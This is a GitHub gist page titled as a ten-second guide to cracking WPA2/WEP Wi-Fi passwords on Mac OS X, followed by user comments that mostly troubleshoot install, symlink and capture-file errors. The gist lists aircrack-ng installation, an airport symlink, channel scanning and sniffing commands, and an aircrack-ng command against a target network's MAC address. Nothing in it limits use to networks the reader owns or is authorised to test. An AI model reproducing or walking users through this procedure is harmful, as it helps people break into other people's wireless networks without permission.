Skip to content

Instantly share code, notes, and snippets.

@victorreyesh
Created September 12, 2013 03:36
Show Gist options
  • Save victorreyesh/6532800 to your computer and use it in GitHub Desktop.
Save victorreyesh/6532800 to your computer and use it in GitHub Desktop.
Cracking WPA2 / WEP Wifi / Aircrack 10 seconds guide. For Mac OSX
//Install Macports.
//Install aircrack-ng:
sudo port install aircrack-ng
//Install the latest Xcode, with the Command Line Tools.
//Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
//Figure out which channel you need to sniff:
sudo airport -s
sudo airport en1 sniff [CHANNEL]
//New Terminal Window
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
@char543
Copy link

char543 commented Feb 21, 2018

also make sure youre typing .cap and not .cap. (the extra dot is what threw me)

@AramSemerjyan
Copy link

AramSemerjyan commented Mar 27, 2018

Mac has built in sniffer for getting handshakes, why airport is needed for that? Also I'm wondering is the aircrack mechanism based on getting handshakes and after try to recover password from hccapx with hashcat?

@iamsoorajsingh
Copy link

command not found

@ralyodio
Copy link

what is the target mac address?

@Eastkap
Copy link

Eastkap commented Aug 12, 2018

mac address is the same as bssid @chovy

@Tetsu51718
Copy link

can"t find [CAP_FILE]
pls help

@Tetsu51718
Copy link

$ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
ln: /usr/local/bin/airport: File exists
$ aircrack-ng -1 -a 1 -b
-bash: aircrack-ng: command not found
$ brew install aircrack-ng
Warning: aircrack-ng 1.4 is already installed, it's just not linked
You can use brew link aircrack-ng to link this version.
$ brew link aircrack-ng
Linking /usr/local/Cellar/aircrack-ng/1.4...
Error: Could not symlink sbin/airbase-ng
/usr/local/sbin is not writable.

what should do,, pls

@DamonOnYT
Copy link

DamonOnYT commented Nov 18, 2018

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

says "ln: /usr/sbin/airport: Operation not permitted"

@DamonOnYT
Copy link

quick google solved it

for anyone w/ the same issue the command is

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

@mzychinav
Copy link

MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution?

@madmike121989
Copy link

MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution? i'm having the same issue

@fungmen
Copy link

fungmen commented Jan 9, 2019

more easy when i'm installing kali on macbook air, i can scan and crack the handshake more faster beside debugging the OSX ^_^!

@mikediachenko
Copy link

MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution?

The same stuff.

@shsunmoonlee
Copy link

shsunmoonlee commented Aug 8, 2019

First attempt failed.
➜ Clients airport en0 sniff 4
Could not open device en0 (en0: You don't have permission to capture on that device ((cannot open BPF device) /dev/bpf0: Permission denied)).

Second attempt failed
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en1 -w beacon.cap
tcpdump: en1: That device doesn't support monitor mode

@khyanatun
Copy link

$aircrack-ng -1 -a 1 -b "Mac address" "CAP_FILE"
Reading packets, please wait...
Opening "CAP_FILE"
Failed to open "CAP_FILE' : No such file or directory


someone, please help cap file won't open

@SenorReyez
Copy link

You need to define "CAP_FILE" as the path example /path/to/cap_file.cap

@lmancini1
Copy link

what is the path to the cap file I cant find a top folder with airportsniff in it

@Nene020911
Copy link

Reading packets, please wait...
Opening /tmp/airportSniff*.cap
Failed to open '/tmp/airportSniff*.cap' (2): No such file or directory
any help?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment